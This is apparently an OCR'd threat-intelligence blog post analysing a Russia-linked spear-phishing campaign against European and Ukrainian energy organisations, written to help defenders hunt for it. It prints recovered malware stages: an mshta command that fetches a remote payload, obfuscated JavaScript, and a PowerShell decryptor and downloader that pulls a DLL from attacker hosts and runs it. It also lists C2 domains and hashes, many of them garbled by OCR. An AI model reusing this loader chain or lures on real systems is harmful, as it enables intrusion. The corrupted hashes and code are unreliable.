Russia-Nexus APT Targets Energy Infrastructure via Phishing

STRIK=R=ADY

RU APT targeting Energy Infrastructure
(Unknown unknowns, part 3)

Nov 28, 2024 by StrikeReady Labs (¥) 7 minutes

Attacks on the Energy infrastructure raise an eyebrow, whether they're cyber-physical in nature, or purely espionage. For that reason, when
StrikeReady Labs identified a targeted spear phishing campaign tailored for the Gas Infrastructure Europe (GIE) association, we analyzed the
content immediately after submission to Virustotal on October 18th. Further pivots showed direct targeting, and in some cases compromises,
of:

» Ukraine’s electrical transmission infrastructure

« A Slovakian gas storage company

* An American energy brokerage

o A Ukrainian international investment organization

¢ A Ukrainian financial auditing organization

* And other attendees of the aforementioned natural gas conference in Germany

These targets all have access to sensitive data that would be of interest to a government. This particular campaign has been ongoing since
early October '24. The number of energy-specific targets is highly unusual for the majority of APT threat actors, and the sustained targeting
and re-targeting of Ukraine has only seen by Russia-nexus actors. The timing of phishing natural gas organizations just before the winter is
also difficult to ignore.

TLDR for threat hunters: Look across your logging infrastructure for executions of mshta with an external payload, and
you too could find this
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https://strikeready.com/blog/ru-apt-targeting-energy-infrastructure-unknown-unknowns-part-3/
https://strikeready.com/blog/

StrikeReady Labs

two interesting Inks "'GIE Annual Conference 2024 in Munich Participant
Form Event Agency.pdf.Ink"

-> gurt.dunal.Jua/programy-nauczania/GTSvitikgasuStage5

2 Ink:
806b5269e7aa9c2c82ce247b30a3e92a4f7285b21e2bcf54c8ffad86bd
92ecab68
b8d97d29e99e1f96e06836468db56855dc09305e3ed663c720fe700ea
4bf6e73

decoy pdfs "GIE_Annual_Conference_2024_Participant_Form.pdf"
"Zayava_pro.vitik_gasu.pdf"

GIE Annual Conference 2024 Participant Form !

Dear participants of the conferencel Thank you for the feedback. -
According te the voting results, the most popular event has been chosen 3ansa Npo BMTIK rasy

National Theater in Munich. Opera Turandot (October 19 at 7:30 PM)
Kony: TOB "ONEPATOR IMC YKPAIHIK™[ 42795490)
Bin woro: NpweatHe nignpeemcTeo "KPEATOP-BY17(34227060)
Appeca: M. Tepuonine, ayn. Nucronanoea, Gya. 1, npum.3
Tenedon: +38(044) 426-61-11
Oata: 15.10.2024
Tema: NosigoMAEHHA NPO BATIK rasy
Wanosni TOB "ONEPATOP ITC YHPATHK"!
MosigomMnAl NP MOMNMBMA BUTIK ragy & eyn. Jertapiscexa, 17-19. Butin Gye
https://www.staatsoper.de/stuecke/turandot /2024-10-19-1930- 14693 BUABAEHWA 14.10.2024, KON BIZUYAM 33NaK rady.

Mpoiuy BIC BHWTM 3aX04iB AR yoyHeHHA Aanoi npobAemd B HaRKOpoTwii

TEPMIHM
We appreciate your time and attention. We hope you will enjoy the upcoming
conference,

sigmisasi penf 14227060,

Figure 1: Initial tweet from Oct 18 '24

We performed initial triage, as we do daily on our https://bsky.app/profile/strikereadylabs.com and https://x.com/strikereadylabs accounts. You
can follow along with our process in Part 1 and Part 2 of this series. However, at CYBERWARCON last week, an unnamed analyst flagged us
down, and chuckled, “hey, nice Sandworm tweet”, which made us take a second look at this cluster. This post won’t focus on the Sandworm
specific attribution, as we do not have the telemetry to independently make that attribution, but rather how we discovered it, and how you could
pivot to find the same types of threats in your own network. Networking IRL FTW.

A member of the infosec community on linkedin recently posited a question, “What's your favorite network hunt?”. One of our analysts
responded If I only had one, "mshta.exe http".And that's literally how we found this thread to pull on. There are very few new files you'll
come across that execute mshta to run remote content, and you can put a pair of eyeballs onto each and every one. It won’t take more than a
couple seconds to triage, provided you'’re logging the appropriate telemetry, and it works equally well against crimeware or APT. As an added
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https://bsky.app/profile/strikereadylabs.com
https://x.com/strikereadylabs
https://strikeready.com/blog/finding-the-unknown-unknowns-part-1/
https://strikeready.com/blog/finding-the-unknown-unknowns-part-2/
https://www.linkedin.com/posts/activity-7255338819724431361-iupz/?utm_source=share&utm_medium=member_desktop

bonus, it will only flag on positive detections where you have an “action item”, due to the nature of it being an intermediary stage after the
attacker has execution ability on your endpoint, but generally not a full payload. So all that is to say, it's a great mechanism to find high fidelity

hits.

Hopefully you'll forgive the wizard behind the curtain from not having a more exciting answer as to how we found one of the more advanced

threat groups out there.
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Figure 2: execution/hunt paths — credit to the folks at d2lang
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1. Pivoting on winiisignalin the LNK metadata gives us a second Ink, and a pivot on the hosting domain gives us a third
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https://play.d2lang.com/?script=tFZLb-M2EL7zVxD2pUVBPf0-FMg63m2ABgiwW_RQFcKYHMnEUqRAUnGcwv-9kBwn2Y2dZJ3skdTMfKPvmweFtMi9NHpGhVlrcg3Wzeh_hFKRMG50IcvdkVIFG9N4hrqUGmcU1VfS3ffpF7SV1KCoX2GFlBuB3ZfuyKSY0TSKCKVbsiV_YolaBFfy2nh6ZaT2B64C5zcKg0IqNaO9_seP82j-oUf2losb5E2bNL0Cv_rOeDQ6n3wY9gjp08MfPl0s6JnWDSg6N7pAi5ojTaJkQKWml42WfEWvwHrJZQ3a04_GVnRxjdrTsxI132RBLYosUPpr8PMhdvRL3kq08r52szDkQrP2xrFal0GhwLengJsqHMZJmEzCZDKJ0qDWJdm2TNSwUQZEG6t_IFgUyE5rLdB2UQR4CDuEsAK1BosMtGB-ZRG860AuQUkuTePys7pmwzjp0Pp0S8rG-iwQjYYsaCALa2tKC9WGaWj4LWgJ4aeLxY6fB3o-eygxOULoW0KeQGAcxoN0Tx9aj4pBI6TPOot1zaTmqhHoWtR8B5s_4Oat0vkjffNW307SE5KZROEkmg6SvZrvWVyU_U7fxu3l5z--nNECPV-F2PUlkj59xoGbqrboHArynGGb2fl8_veMJhOR8HG0XKZxwZMlxuOiiIfFkEdjRBgW6TgdjtLpOEKexNEyhSIdpIPBIEkSLOLRmLypevZ5ZAHe4IxysNfoyP3NkXp95HFQ7-carpAKWWFsBZ7dZVpJXTIFumygROa4lbV3rFSbesXicDTofPKdTy4MbyrUnsXT-7bckt65dLWCDZ0bZSydg5JLC-0QzfRvmV5LLcw64Mo4_OXX3jd__YO-R4b3T5gKj5aXwsKTtdRx7GSpQR1J4vt198ij_eX3bC0irKnR5njTKZM_3Rb3ST0xfNqWh-hyzqxNARyzQChFzs1ftQCPF9p50BwXN0fwnhqehJf9A-wW2G32r_NGYxbUq7oNxEGhFmCzwHm57EZmF3GJD3YHnV9VOC8n9qoV8nKYU_buNEymwzi6a7nXEHHs8fKuS-elIXWK_LPdzEe3f1t8G-6dl-YeSyA3mx-W8rVVeYdDyf8BAAD__w%3D%3D&sketch=1&theme=0&layout=elk&

Lnk Assessed Name Hosting domain

b8d97d29e99e1f96e06836468db56855dc09305e3ed663c720fe700eadbf6e73 GIE Annual Conference 2024 in  adobeprotectcheck.com
Munich Voting Result
Event.pdf.Ink

806b5269e7aa9c2c82ce247b30a3e92a4f7285b21e2bcf54c8ffad86bd92eab8  3assa npo BuTik rasy TOB adobeprotectcheck.com
OlMEPATOP I'TC
YKPAIHW.pdf.Ink (Gas leak
statement LLC GTS OPERATOR
UKRAINE .pdf.Ink)

zayavka.Ink adobeprotectcheck.com

Wireshark Agency.pdf.Ink

Figure 3: additional LNK from adobeprotectcheck

It's noteworthy that these are WebDAV servers. There are a small number of groups who phish with LNKs hosted on WebDAV servers,
particularly that use the “Downloads” directory. This attacker may be attempting to blend in with the broader criminal group. We will use this
fact later on to find more infra.

2. The first stage payload executed by MSHTA (shell completion of msh*e below) is not a standalone HTA at all, but a bunch of EXEs
concat'd together with <script>s embedded, that are parsed and executed. forfiles.exe /p C:\ /m Windows /c "powershell
\*i*\*2\msh*e https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5. The layers of obfuscation are quite robust, and
referred to by many in the community as emmenhtal. Here is a small representation of the decoding from the second Ink,
806b5269e7aa9c2c82ce247h30a3e92a4f7285h21e2bcf54c8ffads6bd92ea6s. Much of this analysis has been documented by Google
Cloud as well as PEAKLIGHT.
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EW—lBZ eV=117;1Y=110;B6=99; eH=116;Nn=185;m1=111; cv=32;yj=113; TV=75;6Q=40;12=71; vU=9 'LZ—-!»J. Sv=123; MY-lla,TE—ll-!l NI 88; ]k 61; ci=34;BI=59; zx=73;zp=72;RN=48;Qe=60; aE=46;L0=108;Vo=101;nf=103

;aR=184;Nc=43;ni=1089 ;Up=80;UI=66;YT=83;m0=67; Gk=100; Uy=91;Q1=93; zF=45; Dx=57; In=53;Ui=125; NF=87; J¥Y=49; Ud=54; JL=50;VZ=44;UQ=52; cK=56;UJ=55; px=51; sM=78; ya=187; tW=119; YC=65; fU=79;NQ=98; Tz=18

6;0m=82; "M

var pKE = String.fromCharCode(EW,eV,1Y,BG,eH,Nn,ml,1Y,cv,1Y,yj,TV,6Q,iz,vU,Nn,LZ,Sv,mY,vU,Te,cv,iz,eH, NI, Ik, cv,ci,ci,BI,EW,ml, Te,cv,GQ, mY,vU, Te,cv,ml, zx, zp, cv, Ik, cv,RN,BI,cv,ml, zx, zp, cv,
Qe,cv,iz,vU,Nn,aE,LO,Vo,1Y,nf, eH, aR,BI, cv,ml, zx, zp,Nc,Ne, LZ, ev, Sv,m¥Y, vU, Te,cv,ni,Up,UI, cv, Ik, cv, YT, eH, Te,Nn, 1Y, nf, aE, EW, Te,ml, ni, m0, aR, vU, Te,m0, m1, Gk, Vo, 6Q, iz, vU,Nn, Uy, ml, zx,2zp,Ql, cv, zF,
cv,Dx,In,RN,LZ,BI, iz, eH,NI,cv, Ik, cv,iz,eH, NI, cv,Nc,cv,ni,Up, UL, Ui, Te, Vo, eH, eV, Te, 1Y, cv, iz, eH,NI, Ui, BI, m¥, vU, Te, cv, NF,BG, Gk, cv, Ik, cv, 1Y, y3, TV, 6Q, Uy, 3¥, RN, Ud, JL, VZ, J¥, RN, Ud, J¥,VZ, J¥ RN, Ud,
Dx,VZ,JY,RN, In, JY,VZ,JY,RN,Ud,UQ,VZ, Y, RN, Ud, In,VZ,JY,RN, In,uUQ, VZ, J¥, RN, In, JY,VZ, 3Y, RN, In, cK,VZ, JY, RN, In, cK,VZ, Dx, Dx,Ud, VZ, ¥, RN, In, JY,VZ, 3¥, RN, UJ, RN, VZ,

Figure 4: initial script embedded in dccw exe

Your eyes can notice a string substitution for EW to turn into 102, etc

function ngK(Gai){var GtX= "";for (var oIH = @; oIH < Gai.length; oIW++) {var mPB = String.fromCharCode(GailoIH] — 95@);GtX = GtX + mPB}return GtX};var Wed = ngK([1862,1061,1069,1851,186
4,1065,1054, 1851, 1858, 1058, 996,1051,1676, 1851, 982, 995, 1869, 982, 999, 982, 995, 1051, 1062, 982, 1835, 1868, 1864, 1051, 1065, 1866, 1864, 1855, 1049, 1066, 1851, 1850, 982, 95,1060, 1061,1062, 982, 1852, 1067

1060, 1049, 1866, 1055, 1061, 1068, 982, 1049, 1058, 1051, 1047, 1868, 982, 998, 986, 1038, 1053, 1050, 1818, 1848, 1629, 991,1073, 1064, 1651, 1866, 1067, 1064, 1868, 982, 995, 1065, 1062, 1058, 1855, 1666, 982,998, 986, 1
©38,1053,1050,1018,1048, 1029, 982,995, 1864,1851, 1062, 1858, 1847, 1049,1051, 982, 989, 996, 996,989, 994, 982,989,998, 1870, 986, 988, 982,989, 991, 1075, 1809, 986,1035,1055,1047,1064,982, 1811, 982, 1849, 1
58,1651, 1847,1060, 999, 989, 1005, 1061, 999, 1015,1018,1002, 1001, 1660, 998, 1064, 1002, 1616, 1815, 1628, 1018, 1003, 998, 1605, 1868, 1604, 1005, 1005, 1085, 1067, 1018, 1819, 999, 1061, 10815, 1063, 1016, 1819, 101
8,1016,1004,999,1018,1801,1083,1020,1002,1628,1004,1002,1818,1019, 1667, 1818, 998,1601,1005,1017,10867,1002,1091,1018,1605,1001,1017,1015,999,1863,999,1002, 999,1005,1016,1005,1617,1817,1002
,999,1884,998,1602, 998, 998, 1001, 1018, 1617, 1015, 1620, 999, 1607, 1617, 1800, 1004, 998, 1617, 1628, 1002, 1007,1019,1004,1003, 1081, 1003, 1004, 1004, 1608, 1601,1002,1617,1018, 1007, 1015, 1884, 1004 ,1019, 9

Figure 5: after string substitution and first decode

Next you can see each code is subtracted by 950

powershell.exe -w 1 -ep Unrestricted -nop function clean ($XgdDbO){return -split ($XgdDbO -replace '..', '@x$& ')};$Uiar = clean('731AD432844BAFDS@7267779DE13ASBEDB61D35F4F64DEIDA37CP43D
73CA151417B7CC41604803DCAF19C260CF4PE653566234CD9A66E10661A6852FCIBBEASA7O8DL1ETRT496CCE8F4911827FATCA1159BO4DA3CTA2BSC1425BEDSL3ABFLFACEATS2AL1F330EL7BEBEI2ECBTEAFADIE50C6AB4057DC1CAACE
6482C215169B61B5ALTAEAS3645FB4160D75A42284EBB7FBAL3CAFELBOATD6BL4BFSBO3F39E61ABBLO34DEC2ASAE2CAESD7DASETG2308B24B7BABB37ELCBO60592984225EADFAEZ15B3CDB4B5FAS58C8AD661D2579901FBY493817EBDD7
6703AD9126C2CF6B115AA97693ES7E3928101A46DBAB7C332952CCBYCBFBDALALBB25CBB481966FABT62674DD2B7433D3666764936A59A9D76C017A2EOF95701BBESE76642ABAGAS2EBBESTLIFE2BABF3EGQDB4LDBFFE9169CA4F34C16BTE
38D63A34354M6E643EBFBEF4ATOCL3ES1BDAZ9BDOECEDBASESL16B1D28A4LB58BCI6@BACLCD7BAEABELBAZAT6CSDESFD25F1576E52F1CEFBEECD2159F2410DAADBEACBCEDSDEFFS6BIB3EYPPEL181F1108341859D9B44BY9757A739541D9
62EG6C7BBDA9ECBle768&2ZF952AGBZSCBSAFB?8503999EFB3988265480F5'991QBA1&806677CF57DABZ163E6CDFSEVC?CBl?B5E864832218AD8AFQSEQGE5F12978F?VZEC¢62BZ6DBA58221FE11EGCBE3BDAZBB&SC??&D?CESQTLFBADA
AD779BB9A786D3C696CALBEESALDESALLIBIBESST43976@73E33C2079EOB6BDE91DI3L 6B1B3D. D522759BA703811C2E8BFFACD3A58DAB137FIC4DE374E3B9C27E168053374D980FBC2B4A333CO90BBAS2ABF77880DF5
F98520EBD41434E6D6913DCCO232B2F39DCF5285E506602C8184C09180124BF75188) 710D AD3 3DDAC8D37CESCC639FIDEDOLDFOF2ZO2415BFF7OE3FCCOR1IB3FALFCOBL2ZTATOLATLEFOEI26534C25F929DF6
5CDéE58D2FAE?FQBS4E778729EF6BAGDC725A25677F75C60893&060SBF9AC96DB183FiB67836859502CTE13Fqc8599E34E621hCDADD?BOF566357D771DF2DATB11367239103F4F1132888901FZEC739kAFB&FDO&AZZ&?F&CQiBEDE?S&E
9892E7F26295890F39F1931410D084422BB44DEEDSFDED2DCDSESD44734D02D7E232E7699D791734E9B330449321382F8171481FDE645D7EARAF41F390EAP003713620890C59C6B9AEADCE97969358D805E4DC70616BD8CD23B795918
F8ASFOFF77ABAEBBBCLEBC38FB6BASTFOBCE1204CCCBEBBLOEGE3D2ZEOR1AB613082CCFD363CBY2B24F26927C9460735CD92AFBOLZOARTESBAG7344CC613E9637AD1CZ4E703070C0447151FA73E7F90B585491935368102B647498EADAE
425DBAL11C8544C254ALB5PAE3BABEBS996BAALCIBEICAB3CD20E7LBCBB39CBE92B699912BC46EIB1568EBEBRB29D3C125D86DC672CF67FCB216EE267719E0250D7493DD51DA529F300DBYACELT7867B5C321CDBDS4BD69ALODFEA2FCEC
ABBOFDB653E151843D157DFD8BS7DI4ESBCBA6A2653F11B58C57B21E589302708340FBIBCIBELBS2BDELEEBALSATLESTOBEILB50EBFE8332C59E4ABRFADBOTAIF7AFEAZOEECTI2AEL1188877DCT52AABBSOELBTD66F27536468186360
CFFEC3533BER617E" ) ;$vZz = [System.Security.Cryptography.Aes]::Create();$vZz.Key = clean('4B434F64464D63447AT3EA596E656A62');8vZz. IV = New-Object bytel(] 16;86BwtIs = $vZz.CreateDecryptor
();$dIbXqY = [Text.Encoding]::UTF8.GetString($GBwtIs.TransformFinalBlock($Uiar, @,$Uiar.Length)); & $dIbXq¥Y.Substring(@,3) $dIbXqY.Substring(3)

Figure 6: after -950 + loop + decode

The attacker has now moved from javascript to powershell, which is properly decrypting the next stage.

command=-1ine: function WQA($GHh, SLLx){sc $GHh $LLx -Encodi Byte}; function SMc($GHh){Rund1132.exe $GHh , DolUpdateInstanceEx};function Uyy($SIb){$Pxc = New-Object (hiF @(97,12@,135,65,1
86,120,117,86,127,124,120,129,135) ) ; $LLx = $Pxc.Download $5Ib) jreturn SLLx};function hif (SFkN)(SDSV=19;SSNF=SNuL1;foreach($¥Sy in SFkN){SSNf+=[char](SVSy-§DSV)};jreturn SSNF};function
PCX(){SKvj = Senv:AppData + '\';SRJB= $env:AppData;$fqA = SRIB + '\Zayava_pro_vitik_gasu.pdf';If(Test-Path $fqA){ii $fqA;}Else{ $RiM = Uyy (hiF @(123,135,135,131,134,77,66,66,120,133,13
S,120,12?,64,11&,136,119,12&,135 85,118,138, 128, 66, 138, 131, 64,124,129, 118, 127, 136,119, 120, 134, 66,189, 116,148, 116,137, 116, 114,131, 133,138, 114, 137, 124, 135, 124,126, 114,122, 116, 134, 136, 65,13
1,119,121));WQA SfgA SRiM;ii $fgA;};;;SExaYVuoMY = SKvj + ' fa 1'; if (Test-Path $ExaYVuoMY){SMc $SExaYVuoMY;}Else{SYKSsUaDDFSfnFO = Uyy (hiF @(123,135,135,131,134,77,66,66,122,13
6,133,135, 65,119,136,129,116, 65, 136 116,66,131,133,138,122,133,116,128,140,64,129,116,136,118,141,116,129,124,116, 66,134,134,130,138,1308,121,116,118, 126, 65,119,127,127) ) ;WQA SExaYVuoMY §
YKSsUaDDFSfnFO;SMc $SExaYVuoMY};; CX; script-da CommandInvocation(Test-Path): "Test-Path"

iarawcterswnd\rngest Path): name="Path"; value= \Users\Administrator\AppData\Roaming\Zayava_pro_vitik_gasu.pdf"

Figure 7: PS created by Figure 6
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https://cloud.google.com/blog/topics/threat-intelligence/peaklight-decoding-stealthy-memory-only-malware

The true Raison d'étre is starting to become clear, and for the reader’s sake, we've included these scripts in the appendix. Your eyeballs can
start to see the likely payload, ssowoface.d11l and the decoy pdf, zayava pro_vitik gasu.pdf. Below we have picked apart the new artifacts.
One of these was recently highlighted by researchers at Veriti (nice job!).

url

sha256

gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5
(dccw.exe)

9caaal34fabfab572695f49cc496820dc5e4df6d8866b3f89a49e2dab1a6f85d2

gurt.duna.ua/programy-
nauczania/GIEAnnualConferenceStage2 (dccw.exe)

28d2c70bb31fc2be17f15f5c07eeabf373563970ec210b3af343444222ef167

gurt.duna.ua/programy-nauczania/ssowoface.dll

d4daf30ceee80c4f639f3aff6abeb95e7bf11e125fb90f8972b7a92e22d22e5

calendar.stib.com.ua/bestone.php

next stage for both dccw above

ertel-audit.com/wp-includes/Zayava_pro_vitik_gasu.pdf
(legit domain)

f00c33c89c8468f112a9d54888eb37087e82b0732b7e587371426bfaf397eef:

ertel-audit.com/wp-
includes/GIE_Annual_Conference_2024_Participant_Form.pdf

Figure 8: stages from the two LNK mentioned above

b53cf86e6860294fd6731f7db990d7d0f2329893d83f17934836207¢cf361062f
— helpdesk.katolik.bydgoszcz.pl/eliot.php

ai

L1 Abo-Serie63

https://www.staatsoper.de/stuecke/turandot/2024-10-19-1930-14693

https://helpdesk.katolik.bydgoszcz.pl/eliot.php

We appreciate your time and attention. We hope you will enjoy the upcoming
conference.

3. Pivoting on ssowoface.d11l We see a number of interesting artifacts. One is the exposed PDB C:\Users\user\documents\visual
studio 2015\Projects\droper_dl1l\Release\droper_dll.pdb, and the dll entry point DoUpdateInstanceEx. Looking for similar
misspellings, we can find droper_exe_for_1nk, and wouldn’t you know it, the c2 for that sample is afi-ukraine.org/wp-
includes/bestone.php. Note the bestone similarity to our original sample.

url sha256

afi-ukraine.org/wp-includes/bestone.php (legit, 244e004ac7149e2631d68cba947cfd3d5d5352536ecb352¢410b6e80e09d874a

compromised stie)

Figure 9: additional file beaconing to misspelled PDB

4. Looking for similar c2s, such as “wp-includes” + *one.php, another hit pops, and this one also includes ertel-audit.com. It's often when
attackers are popping infra, they leverage a similar exploit, which is why we might expect to see other c2s hosted on wordpress

instances.
filenames sha256 next stage
hosted on paths like: 36db27f5eb3343cfc72d261d78da44957a49cb6731ach50a96ea5694f4d616¢5 furgaanenergy.co
includes/b1tuzmh

protectraid.com/Downloads/Resume.lnk, 7f6c6bfe7aaac358babbabb4c4310d3f22ae5562f1876db8d92235d0cc3857ca  — bltuzmhgzxJbac

Resume.pdf.1lnk, etc

616¢f561124ce116e4b61a26e5d2fb4ba68126ba6f3df9a66e71f57f6914292e (legit, compromisex

958006c2be14c75ac32c92bb0ff0b71d4b94e9e0f358335ed976952abb772eb0
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https://veriti.ai/blog/veriti-research/cve-2024-38213/

3miHn fo 3akoHy MNpo aepxaHuil Brogxetr  ac71520a18fa7fd5f67d8cb8800c732a3c78bb1e0815bcddfbc120bfica86d96 Like all samples, tk
Ykpainu Ha 2025 pik.pdf.Ink portals

[or 205 3132 PemtexHanagka.pdf.Ink 30f5db9a7982db6ac1a3f65f4eada76b24e9438c9cf733e7b0bc353e6¢5¢c5a25

Figure 10: pivoting on bestone-like comms

5. ssowoface.dll is quite a unique dll name. Looking on the google machine, we can find this sample on Joebox .
4a302c0ed3c47231bc7c34cf2d41bcOceb60d9c7b0023dfO15F75a58853F43d2 beacons to protectconnections.com, which luck would
have it, was sitting on the same IP as protectraid.comabove, which hosted one of the payloads.

6. Looking more at the ertel-audit legitimate domain, we can see the file my_resume.pdf communicating with it, which leads us to a
second file as well. Let’s take a look:

Phish 1 Phish 2

A

Safer with Adobe Protect

A

Safer with Adobe Protect

Open

1be7¢11d50e38668e35760f32aac9f9536260d58685d3b88bcb9a276b3e0277a a17dc4chb60f398a8880b0a08535b405f546153ad100c381d1c3c

my_resume.pdf

Figure 11: two PDF (susp) phishes

Two of these fake pdfs reach out to ertel-audit.com/wp-includes/caramel.php, and one to
helpdesk.katolik.bydgoszcz.pl/bydgoszcz.php?subid=[target]. These pdfs are a blurred out version of other decoys from this
campaign, some of which can be seen on this post from twitter user https://x.com/byrne_emmy12099/status/1852002306486849587, who has
highlighted at least two from this campaign.
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https://www.joesandbox.com/analysis/1530868/1/html
https://x.com/byrne_emmy12099/status/1852002306486849587

One of those attachments, however, made its way to VT attached to a phish, from mykolazhovko@ukr .net

Mykola Zhovko
mykolazhovko@ukr.net

To o 10/30/24, 10:31 AM

Re[2]: 3p06yBay BakaHcii kKoHcynbTaHT moayns SAP Fi
(PiHaHCK)

[obporo gHs.

[AKyto 3a Bignosiab.
Bianpaensito cBoe pestome. Ao byae HeobxiaHa
nopaTtkoBa iHpopMadisi, HanuwiTe, Byab Nacka.

3 noearoto, Mykola Zhovko

> @J 1 attachment: my_resume.pdf 191 KB Y, Save VvV

Figure 12: one of the actual phish emails

7. No hunt is complete without a spin through the the DNS. Because sites like adobeprotectcheck.com used WebDAV, they emit an odd
HTTP response code of 207. By leveraging our friends at SilentPush, we can run a query on their webscanner looking for CloudFlare
hosted domains that have returned a 207 recently, and combine to sort by registrar. Although this is not a perfect query, the number is
small enough to eyeball, and we can expand our set of domains:

domains New artifact

adobeprotectcheck.com

gieannualconferenceinmunich.com gieconferencemunich.html

228le6ach309afal3be8215672f4e6902f37e24cd75a1ef3168183dd52e5ba7ad

annualgieconferenceinmunich2024.com

Figure 13: XML returns

Doing one last sweep through the radius of our indicators, we come across

2e8817478d88cd1b21ecd583567c73333fefe70b445249d939327¢5016648007 , which appears to be a custom redirector. Although not inherently

malicious, it does allow us to link login.antimailspam.com, which was registered in the same october timeframe on the same registrar.
Pivoting in this universe of indicators, we see some outlook phishing, which leads to more overlaps with crimeware. This may be another
attempt to blend into unrelated campaigns.
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https://explore.silentpush.com/web-scanner?query=header.server%20%3D%20%22cloudflare%22%20AND%20response%20%3D%20207&sorting=scan_date%2Fdesc

Figure 14: outlook phishing

Vendor Name

&% Microsoft
Sign in

no@thanks.com

No account? Create one!

Q Sign-in options

Google Cloud PEAKLIGHT, just for the downloader portion

Proofpoint UNK_OperaEnergy

Figure 15: other vendor-validated names, drop us a note to be included

Our github provides a download of the relevant files mentioned in the blog
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